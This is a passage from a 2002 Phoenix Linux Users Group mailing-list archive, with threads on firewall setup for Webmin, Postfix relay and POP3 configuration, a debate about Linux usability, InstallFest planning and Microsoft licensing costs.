programs and I think 1 or 2 others. I still come back to Netscape 4.77/78 when I'm using Linux because of the lists. I had been unable to figure out if and how to use lists from the other programs, including the latest Netscape one! Even importing the list from 4.7x to 6.x lost the lists. pete From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 04:32:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 26 Jun 2002 00:32:11 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) Message-ID: My ruleset is the default RedHat 7.3 middle choice. I did puch some holes during the install for SSH and HTTP. However, three things conspired against me: 1. I assumed that HTTPS would come through the HTTP hole and failed to consider the 10000 port Webmin wants. 2. While I can use many things and write programs on Linux, I have never studied firewall configuration. 3. I was setting up a server and I wanted it done quickly so when Webmin didn't talk, I didn't think about the firewall, only the Webmin configuration. I should know about firewall configuration. I now have a reason to learn. =^) However, as we propel Linux forward, we need to help develop tools that don't require the user to know how or even why he needs a firewall. The average Joe just wants to know that his computer is secure because he picked the secure option on his install. And, if he needs to close a port or open a port, he doesn't want to learn ipchains rule syntax or even port numbers, he wants to select an option and be on his merry way. Not an easy task but this is the mindset that company in Redmond has created and our society expects. If we want Linux on every desktop, it has to be made that easy. Anyway, it is an issue for tomorrow. That box is at work, I am at home. My plan is to turn the firewall completely off to prove the Webmin setup works. Then, turn it back on with needed holes (after some studying). One issue at a time gets the bits in a row. Alan On 25 Jun 2002 19:42:01 -0700 Craig White wrote: thanks for the naked metaphor If you looked at his ipchains rulesets, you would know how much consideration had been given to them. That was my point. I had a customer...a patent engineer, ee, tcl programmer and all around very intelligent guy install firewall software on his computer and couldn't figure out why he couldn't print or see the file servers, etc. He couldn't log in to the Windows domain controller but his computer was safe. I agree with you...know why you're doing it but you also need to know how to do it. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:13:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Henderson) Date: Wed, 26 Jun 2002 01:13:51 -0400 (EDT) Subject: can't get Postfix for mail relay to work exactly right In-Reply-To: <200206251455.g5PEt3219382@PlugList.MyButt.Net> Message-ID: Howdy. Question for postfix experts. Everyone else can ignore and go on to the interesting stuff... :) Been workin on my little SMTP relay project. I need to set up a server to just relay SMTP mail to and from my Exchange server, and to filter spam. I'm new to this. So far so good. Running postfix on Mandrake. Can anyone help me with this problem, though. I've set up postfix so it will only relay mail from trusted hosts (a few on the internal LAN), and thus connections from untrusted hosts (both those within and without) can only mail to specified domains, namely the ones homed on the Exchange server (call them test1.com and test2.com). Those emails to test?.com are thus always forwarded to the Exchange server, and any untrusted sender can't use the box to relay. Great. But if an untrusted host (in my test situation, an internal box, on the same subnet as postfix) tries to send to both a valid address in a specified domain (e.g. user@test1.com), and an invalid (relay) address (say to billgates@notsohotmail.com, on the cc line), using the postfix box as the smtp server, postfix doesn't deliver the email at all, but just kicks back at the sender with a rejection, because one of the addresses would have been an illegal relay. I figured it would just relay the email to the valid recipient, and reject sending to the other. But no. Can it be set up to do this? Thanks for any help! Scott From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 21:32:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bruner, Andrew) Date: Tue, 25 Jun 2002 14:32:59 -0700 Subject: Red Hat Fedora Message-ID: Does anyone have a Red Hat Fedora for sale? My boss is retiring and we want to get him one. We'd order one from Red Hat but the shipping wouldn't make it here for the party next week. Thanks -Andrew From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:30:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 25 Jun 2002 22:30:00 -0700 Subject: Red Hat Fedora Message-ID: <0206252230000R.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I just released a message from someone looking for a Red Hat fedora. Don't worry Thurm - not yours. Red Hat sells them on their web site for $49.95. The URL is http://www.redhat.cpm/apps/commerce/coolstuff.html. Amazing what you can find on the Internet! - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRlRWCsk3ywszI1FEQLEqgCgwyVb8vpo3bY5tBiEUKtHP5m+KmwAoNdm EYtWJuYKlxpvupyVP5/Y71dC =zZFx -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 05:04:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 25 Jun 2002 22:04:22 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) In-Reply-To: References: Message-ID: <1025067862.30993.10.camel@barney.azapple.com> On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > I should know about firewall configuration. I now have a reason to learn. > =^) > > > However, as we propel Linux forward, we need to help develop tools that don't > require the user to know how or even why he needs a firewall. The average Joe > just wants to know that his computer is secure because he picked the secure > option on his install. And, if he needs to close a port or open a port, he > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > select an option and be on his merry way. Not an easy task but this is the > mindset that company in Redmond has created and our society expects. > > If we want Linux on every desktop, it has to be made that easy. > > ----- I thoroughly disagree with this rant. This has nothing whatsoever to do with Microsoft or Microsoft mindset. In fact, your attitude represents the spoiled mentality of the Microsoft user. This is open source software - when you see a need, you should offer your time and energies to fill it - don't be content to curse the darkness, light a candle. Redhat offers a simple minded 3 level firewall choice on install, all using ipchains which is only offered on the 2.4 kernels for backwards compatibility. You are probably wasting your time trying to learn ipchains at this point. Netfilter/iptables is the native firewall module for 2.4 kernels. If you want to learn something that is applicable, that is what you should learn. If you want simple minded firewall configuration utility, may I suggest firestarter. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 04:43:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 00:43:29 -0400 (EDT) Subject: West Side InstallFest Message-ID: The InstallFest Post Mortem this evening was a lot of fun, and can be briefly summarized as, "InstallFest was great! Let's do it again!" With that in mind the list of volunteers for the West Side InstallFest has begun: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Sponsor Wrangler: Available Installers: Anyone here ever installed Linux before? Other: How would you like to help? It was mentioned that der.hans provided quite a bit of invaluable wiring and power gear, that Alan has an appreciable network of sponsor contacts (and Jim may be able to bend the ear of someone at O'Reilly), and that William Lindley might have some organizational advice. Of course, your help is appreciated in any area you can support. As a tentative date, I'd like to suggest Saturday, September 28. Jim suggested this would give students time to settle into the fall semester and start looking for weekend distractions. On potential improvements, some things that caught my attention at the post mortem were: 1. More stations to allow more simultaneous installs. 2. Preliminary survey to identify users who want specialized installs. 3. Trans/Post-liminary survey to record the gear being used, OS being replaced, FAQs, etc. 4. Bob ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 07:14:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 00:14:07 -0700 (MST) Subject: West Side InstallFest In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Robert Bushman so: > The InstallFest Post Mortem this evening was a > lot of fun, and can be briefly summarized as, > "InstallFest was great! Let's do it again!" > > With that in mind the list of volunteers for the > West Side InstallFest has begun: Woohoo! > Flyer: Michelle Lowman > Press: Lee Einer > Site: Steve (foodog) (pending GCC approval) > Web Site: Jim Farli > Chairman: Bob Bushman > > Sponsor Wrangler: Available > Installers: Anyone here ever installed Linux before? > > Other: How would you like to help? > > It was mentioned that der.hans provided quite > a bit of invaluable wiring and power gear, that My gear can be made available again. > Alan has an appreciable network of sponsor > contacts (and Jim may be able to bend the ear > of someone at O'Reilly), and that William > Lindley might have some organizational advice. > Of course, your help is appreciated in any > area you can support. > > As a tentative date, I'd like to suggest Saturday, > September 28. Jim suggested this would give > students time to settle into the fall semester > and start looking for weekend distractions. > > On potential improvements, some things that caught > my attention at the post mortem were: > > 1. More stations to allow more simultaneous installs. > 2. Preliminary survey to identify users who want > specialized installs. > 3. Trans/Post-liminary survey to record the gear > being used, OS being replaced, FAQs, etc. > 4. Pre-arrange for 802.11 stuff. Get a press release ready before the end of July and hit it again at the end of Aug. Set aside a place for demos and mark it clearly. Do the presentations. We got good traffic out of those. Have promo materials for the meetings and a workstation where people can sign up for the mailing list ( they'll still need to reply when they check their email ). Homemade cheesecake goes over really well :). ciao, der.hans -- # https://www.LuftHans.com/ # C'est la Net - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 07:29:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 26 Jun 2002 00:29:25 -0700 Subject: Red Hat Fedora In-Reply-To: <0206252230000R.07972@nova.wedge.org> References: <0206252230000R.07972@nova.wedge.org> Message-ID: <200206260029.30143.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 25 June 2002 22:30, Jim wrote: > I just released a message from someone looking for a Red Hat fedora. Don't > worry Thurm - not yours. Red Hat sells them on their web site for $49.95. > The URL is http://www.redhat.cpm/apps/commerce/coolstuff.html. Amazing > what you can find on the Internet! That is good and all, but: a) Typo! Should be: http://www.redhat.com/apps/commerce/coolstuff.html (Of course everybody knew that.) b) "We'd order one from Red Hat but the shipping wouldn't make it here for the party next week." I think Andrew was looking for someone with an extra hat or the location of an offline store. However, I do wonder why 2nd day (or even next day) shipping is not good enough for a party next week . . . - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GW1YpNoctRtUIRQRAujnAJ45/olP97tA4SkbCTKIXJxuT5o8ngCeLZaJ ZDe2rt5veXlYIHrXmf3tsRA= =+jSO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 08:08:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Wed, 26 Jun 2002 01:08:50 -0700 (PDT) Subject: Hello I'm new (kinda) In-Reply-To: <20020625202707.GB31500@aries.evilmascot.com> Message-ID: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Hello Kyle, Welcome aboard. > Anyways, I'd like to extend my thanks to everyone in > and running this > group; You guys really do a stellar job. > > -Kyle > Linux: It's a good thing. Don't forget Tux's pitchfork toting cousin :). I just got perfect dvd playback in freebsd which is something I never could accomplish in Linux (My own fault though I would assume since I'm using the linux modules to do this). Just out of curiosity was there any mention of FreeBSD at the latest installfest? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 10:25:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 03:25:00 -0700 Subject: setting up a real pop server at home Message-ID: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> ok, I've been searching some of the online docs and I'm not really close to a solution here. I'd like to setup and run a home based pop3 server to operate in concert with my smtp server (which is already working). so far, the mandrake website seems of little help. anyone happen to have a solution to this? it would make my life easier if I could check my e-mail from inside the lan on a box instead of logging into the gateway box, then using pine to check my mail (its a hassle). Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 11:37:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 26 Jun 2002 04:37:05 -0700 Subject: setting up a real pop server at home In-Reply-To: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> Message-ID: <1025091425.2388.2.camel@barney.azapple.com> On Wed, 2002-06-26 at 03:25, technomage wrote: > ok, > I've been searching some of the online docs and I'm not really close to a > solution here. I'd like to setup and run a home based pop3 server to operate > in concert with my smtp server (which is already working). so far, the > mandrake website seems of little help. > > anyone happen to have a solution to this? > it would make my life easier if I could check my e-mail from inside the lan > on a box instead of logging into the gateway box, then using pine to check my > mail (its a hassle). > ---- On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, pop3s, imap & imaps services. Install the imap package and configure the above via xinetd and your firewall accordingly. Mandrake may have used something other than uw-imap. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:11:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:11:32 -0400 Subject: MS Pricing Plans Message-ID: <3D19AF74.D8DC4DEC@georgetoft.com> A friend of mine presented this to me: ---------- Recently, Microsoft offered an "Enterprise Agreement Program" to the Department of xxxx and we immediately requested quotes based on this agreement to see how we would fare. The cost for the Enterprise Agreement, when compared against the other options, is reasonable, and the benefits associated with the Enterprise Agreement are significant. Summary of Cost Comparison (for MS Office, Windows, CAL Bundle): MS Enterprise license per seat cost: $218.25 annually, for three years. Upgrade Advantage per seat cost: $328.36 paid once, two year agreement Software Assurance per seat cost $407.00 paid once, two year agreement New License per seat cost $632.00 per license ---------- Let me get this straight. The Department paid $50 (or so) for Windows when the computer was purchased, and $250 (deep Government discount) for Office. Now Microsoft wants them to pay almost this same amount every year? Where's my MS Enterprise Car, the one that I buy for a fixed price from the dealer, and then pay the same price for year after year? Looking at it another way, $218 per year for a small enterprise of say, 250 people, is $54,500 per year. That's enough money to add one more person to the work force (a $15.00/hr worker). If you have a large enterprise, of say 10,000 people, which (using the same numbers as above), is $2,180,000 per year. $2.1M will buy fourty $15.00/hour workers, or up to 18 high-tech people. It seems to me that with a team of 18-40 people, a company could migrate off the Microsoft nipple and recover their investment in under two years. But then there's that "What if it breaks? Who do we point the finger at?" I am not qualified to discuss Microsoft's Enterprise support. Maybe someone else can speak to that from first hand experience? If it's anything like the support contracts I've seen from every other vendor *EXCEPT* Sun Microsystems, it is money wasted. The Enterprise would get more return on their money by rolling it up on spools and putting it the restroom stalls. Just a thought . . . George From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:25:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:25:24 -0400 Subject: setting up a real pop server at home References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> Message-ID: <3D19B2B4.CC48C9A3@georgetoft.com> I think the easiest solution would be to allow outgoing port 110 on your firewall to your POP server. If your objective is to consolidate multiple e-mail accounts onto one server, use fetchmail to fetch all of your mail and dump it into a single account. George technomage wrote: > > ok, > I've been searching some of the online docs and I'm not really close to a > solution here. I'd like to setup and run a home based pop3 server to operate > in concert with my smtp server (which is already working). so far, the > mandrake website seems of little help. > > anyone happen to have a solution to this? > it would make my life easier if I could check my e-mail from inside the lan > on a box instead of logging into the gateway box, then using pine to check my > mail (its a hassle). > > Technomage > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:20:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:20:45 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) References: <1025067862.30993.10.camel@barney.azapple.com> Message-ID: <3D19B19D.473E6146@georgetoft.com> For those learning iptables, please visit my presentation I gave a couple months ago (to another LUG) and comment on it. Was it clear? Did it help? http://www.georgetoft.com/linux/plug/presentations/firewall/index.html The objective of the presentation is to give the audience the basic background to read iptables scripts so they can modify scripts for their own use. When I started the presentation, I knew nothing about iptables. Now I have a custom firewall that has been professionally tested, and works quite well. In fact, every commercial scanner/vulnerability tester has stated this level of security is very unusual, and assumed there was a problem in the testing of the firewall. Thank you. George Craig White wrote: > > On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > > > > I should know about firewall configuration. I now have a reason to learn. > > =^) > > > > > > However, as we propel Linux forward, we need to help develop tools that don't > > require the user to know how or even why he needs a firewall. The average Joe > > just wants to know that his computer is secure because he picked the secure > > option on his install. And, if he needs to close a port or open a port, he > > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > > select an option and be on his merry way. Not an easy task but this is the > > mindset that company in Redmond has created and our society expects. > > > > If we want Linux on every desktop, it has to be made that easy. > > > > > ----- > I thoroughly disagree with this rant. > This has nothing whatsoever to do with Microsoft or Microsoft mindset. > In fact, your attitude represents the spoiled mentality of the Microsoft > user. > > This is open source software - when you see a need, you should offer > your time and energies to fill it - don't be content to curse the > darkness, light a candle. > > Redhat offers a simple minded 3 level firewall choice on install, all > using ipchains which is only offered on the 2.4 kernels for backwards > compatibility. You are probably wasting your time trying to learn > ipchains at this point. Netfilter/iptables is the native firewall module > for 2.4 kernels. If you want to learn something that is applicable, that > is what you should learn. > > If you want simple minded firewall configuration utility, may I suggest > firestarter. > > Craig > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:38:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 05:38:04 -0700 Subject: additional problem [was Re: setting up a real pop server at home] In-Reply-To: <1025091425.2388.2.camel@barney.azapple.com> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> Message-ID: <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> ok. I'm not sure what I did, but I managed to do it. postfix is working fine for internal mail, but now it presents "connection refused" to any attempt to send mail to it from the outside world. I've checked the config files 4 times and I can't seem to find the problem. a telnet to the proper port from a remote machine yields "connection refused" and a telnet from inside (to localhost) gives me a banner. what am I missing here? Technomage On Wednesday 26 June 2002 04:37 am, you wrote: > On Wed, 2002-06-26 at 03:25, technomage wrote: > > ok, > > I've been searching some of the online docs and I'm not really close to a > > solution here. I'd like to setup and run a home based pop3 server to > > operate in concert with my smtp server (which is already working). so > > far, the mandrake website seems of little help. > > > > anyone happen to have a solution to this? > > it would make my life easier if I could check my e-mail from inside the > > lan on a box instead of logging into the gateway box, then using pine to > > check my mail (its a hassle). > > ---- > On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, > pop3s, imap & imaps services. Install the imap package and configure the > above via xinetd and your firewall accordingly. Mandrake may have used > something other than uw-imap. > > Craig > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 13:11:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 06:11:01 -0700 Subject: additional problem [was Re: setting up a real pop server at home] In-Reply-To: <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> Message-ID: <20020626131101.XLFT24965.fed1mtao02.cox.net@there> nevermind. I found at least this one problem.... it wasn't locking to all interfaces (damned elusive commands not listed in man pages). ok, additional problem, mail thats supposed to be delivered to root gets stashed in nobody (in /var/spool/mail). because of this, I never see any of my system logs and/or reports. any way to correct this? On Wednesday 26 June 2002 05:38 am, you wrote: > ok. > I'm not sure what I did, but I managed to do it. > postfix is working fine for internal mail, but now it presents "connection > refused" to any attempt to send mail to it from the outside world. I've > checked the config files 4 times and I can't seem to find the problem. > > a telnet to the proper port from a remote machine yields "connection > refused" and a telnet from inside (to localhost) gives me a banner. what am > I missing here? > > Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:30:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 07:30:47 -0700 Subject: additional problem [was Re: setting up a real pop server at home] References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> <20020626131101.XLFT24965.fed1mtao02.cox.net@there> Message-ID: <002f01c21d1e$101f5b30$0301010a@tickticker.com> i guess port 25 is open :-) ----- Original Message ----- From: "technomage" To: Sent: Wednesday, June 26, 2002 6:11 AM Subject: Re: additional problem [was Re: setting up a real pop server at home] > nevermind. > I found at least this one problem.... > it wasn't locking to all interfaces (damned elusive commands not listed in > man pages). > > ok, additional problem, mail thats supposed to be delivered to root gets > stashed in nobody (in /var/spool/mail). because of this, I never see any of > my system logs and/or reports. any way to correct this? > > On Wednesday 26 June 2002 05:38 am, you wrote: > > ok. > > I'm not sure what I did, but I managed to do it. > > postfix is working fine for internal mail, but now it presents "connection > > refused" to any attempt to send mail to it from the outside world. I've > > checked the config files 4 times and I can't seem to find the problem. > > > > a telnet to the proper port from a remote machine yields "connection > > refused" and a telnet from inside (to localhost) gives me a banner. what am > > I missing here? > > > > Technomage > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:30:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 07:30:23 -0700 Subject: additional problem [was Re: setting up a real pop server at home] References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> Message-ID: <002a01c21d1e$01ef2770$0301010a@tickticker.com> do you have a firewall blocking port 25? anthony ----- Original Message ----- From: "technomage" To: Sent: Wednesday, June 26, 2002 5:38 AM Subject: additional problem [was Re: setting up a real pop server at home] > ok. > I'm not sure what I did, but I managed to do it. > postfix is working fine for internal mail, but now it presents "connection > refused" to any attempt to send mail to it from the outside world. I've > checked the config files 4 times and I can't seem to find the problem. > > a telnet to the proper port from a remote machine yields "connection refused" > and a telnet from inside (to localhost) gives me a banner. what am I missing > here? > > Technomage > > On Wednesday 26 June 2002 04:37 am, you wrote: > > On Wed, 2002-06-26 at 03:25, technomage wrote: > > > ok, > > > I've been searching some of the online docs and I'm not really close to a > > > solution here. I'd like to setup and run a home based pop3 server to > > > operate in concert with my smtp server (which is already working). so > > > far, the mandrake website seems of little help. > > > > > > anyone happen to have a solution to this? > > > it would make my life easier if I could check my e-mail from inside the > > > lan on a box instead of logging into the gateway box, then using pine to > > > check my mail (its a hassle). > > > > ---- > > On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, > > pop3s, imap & imaps services. Install the imap package and configure the > > above via xinetd and your firewall accordingly. Mandrake may have used > > something other than uw-imap. > > > > Craig > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:47:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 07:47:47 -0700 Subject: mail aliases, mailinglist and netscape mail Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B51C@mail.int.fh.org> K-Mail 3 does lists. It is just a little unstable. Hopefully that has been fixed in K-Mail 3.1 which is out but Red Hat has not yet put it on the up2date. -----Original Message----- From: mazdaracer [mailto:mazdaracer@earthlink.net] Sent: Tuesday, June 25, 2002 8:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: mail aliases, mailinglist and netscape mail I've tried Evolution, Sylpheed, Mozilla, Netscape 6.x mail programs and I think 1 or 2 others. I still come back to Netscape 4.77/78 when I'm using Linux because of the lists. I had been unable to figure out if and how to use lists from the other programs, including the latest Netscape one! Even importing the list from 4.7x to 6.x lost the lists. pete ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:58:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 07:58:40 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache) ) Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> The point of this rant was, if Linux people want Linux to be common place and to be a "viable" alternative for the AVERAGE user, it needs to be made as easy to use as MS products. At this time, it is not. Telling the average user that if they don't like something, they should program it themselves the way they want is stupid. MS doesn't expect the average user to be a programmer and if Linux proponents want to see Linux on every desktop, they will not be able to demand that either. It isn't a "spoiled mentality of the Microsoft user", it is the reality that 99% of the computer users ARE NOT PROGRAMMERS and do not want to be. Computers are a tool they want to use to make their lives and jobs easier. Having to be a programmer to use one (which is the current state of affairs for Linux for the most part) will only drive them to systems that do not require them to expend large amounts of time and energy to learn programming. -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Tuesday, June 25, 2002 10:04 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > I should know about firewall configuration. I now have a reason to learn. > =^) > > > However, as we propel Linux forward, we need to help develop tools that don't > require the user to know how or even why he needs a firewall. The average Joe > just wants to know that his computer is secure because he picked the secure > option on his install. And, if he needs to close a port or open a port, he > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > select an option and be on his merry way. Not an easy task but this is the > mindset that company in Redmond has created and our society expects. > > If we want Linux on every desktop, it has to be made that easy. > > ----- I thoroughly disagree with this rant. This has nothing whatsoever to do with Microsoft or Microsoft mindset. In fact, your attitude represents the spoiled mentality of the Microsoft user. This is open source software - when you see a need, you should offer your time and energies to fill it - don't be content to curse the darkness, light a candle. Redhat offers a simple minded 3 level firewall choice on install, all using ipchains which is only offered on the 2.4 kernels for backwards compatibility. You are probably wasting your time trying to learn ipchains at this point. Netfilter/iptables is the native firewall module for 2.4 kernels. If you want to learn something that is applicable, that is what you should learn. If you want simple minded firewall configuration utility, may I suggest firestarter. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 15:35:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 26 Jun 2002 08:35:25 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache) ) In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> Message-ID: <1025105725.2621.9.camel@barney.azapple.com> On Wed, 2002-06-26 at 07:58, Tom Achtenberg wrote: > The point of this rant was, if Linux people want Linux to be common place and to be a "viable" alternative for the AVERAGE user, it needs to be made as easy to use as MS products. At this time, it is not. Telling the average user that if they don't like something, they should program it themselves the way they want is stupid. MS doesn't expect the average user to be a programmer and if Linux proponents want to see Linux on every desktop, they will not be able to demand that either. It isn't a "spoiled mentality of the Microsoft user", it is the reality that 99% of the computer users ARE NOT PROGRAMMERS and do not want to be. Computers are a tool they want to use to make their lives and jobs easier. Having to be a programmer to use one (which is the current state of affairs for Linux for the most part) will only drive them to systems that do not require them to expend large amounts of time and energy to learn programming. > ---- You are wrong Tom System sets up just fine for average user. In this case, Alan wanted to set it up as a server. This is NOT a typical user function. This requires a bit more knowledge. Firewall script installed at installation allowed him to choose the ports that he wanted to have open. Poor planning isn't tolerated well in Windows world either. Helping doesn't necessarily have anything to do with programming. 